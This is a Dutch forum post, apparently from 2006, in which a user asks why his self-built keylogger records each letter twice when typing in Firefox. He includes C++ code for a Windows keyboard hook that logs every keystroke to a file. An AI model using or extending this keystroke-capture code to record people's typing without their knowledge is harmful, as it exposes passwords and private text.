Hallo,
Ik heb een keyboard-recorder in elkaar gezet die het volgens mij gewoon goed doet. Nu loop ik tegen een probleem aan. Zodra ik in Mozilla Firefox ga typen en kijk wat eruit komt worden de letters veel vaker dan 1 keer opgeslagen.
Uitvoer als ik gewoon in het wilde weg typ:
nog een test
Uitvoer als ik in Mozilla Firefox (statusbalk) typ:
nnoogg eeeenn tteesstt
Stuurt Mozilla Firefox soms alle karakters weer terug?
Hoe moet ik dit oplossen?
Alvast bedankt,
Peter.
Ik heb een keyboard-recorder in elkaar gezet die het volgens mij gewoon goed doet. Nu loop ik tegen een probleem aan. Zodra ik in Mozilla Firefox ga typen en kijk wat eruit komt worden de letters veel vaker dan 1 keer opgeslagen.
Uitvoer als ik gewoon in het wilde weg typ:
nog een test
Uitvoer als ik in Mozilla Firefox (statusbalk) typ:
nnoogg eeeenn tteesstt
Stuurt Mozilla Firefox soms alle karakters weer terug?
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
ofstream writeFile(LOG_PATH, ofstream::out | ofstream::app);
// Zet de bitflags.
DWORD bitFlag = lParam;
DWORD bitFlag1 = lParam;
if ( !(lParam & (1 << 30)) && !(bitFlag & (1 << 24)))
{
if(wParam == VK_RETURN)
writeFile << "\r\n[ENTER]\r\n";
else if(wParam == VK_ESCAPE)
writeFile << "\r\n[ESCAPE]\r\n";
else if(wParam == VK_BACK)
writeFile << "\r\n[BACKSPACE]\r\n";
else
{
BYTE keybState[256];
GetKeyboardState(keybState);
WORD wValue;
if(ToAscii(wParam, 0, keybState, &wValue, 0) > 0) // Convert to char.
writeFile << (char)wValue;
}
}
return (int)CallNextHookEx(hHook, nCode, wParam, lParam);
} |
Hoe moet ik dit oplossen?
Alvast bedankt,
Peter.
[ Voor 11% gewijzigd door Verwijderd op 09-06-2006 20:12 ]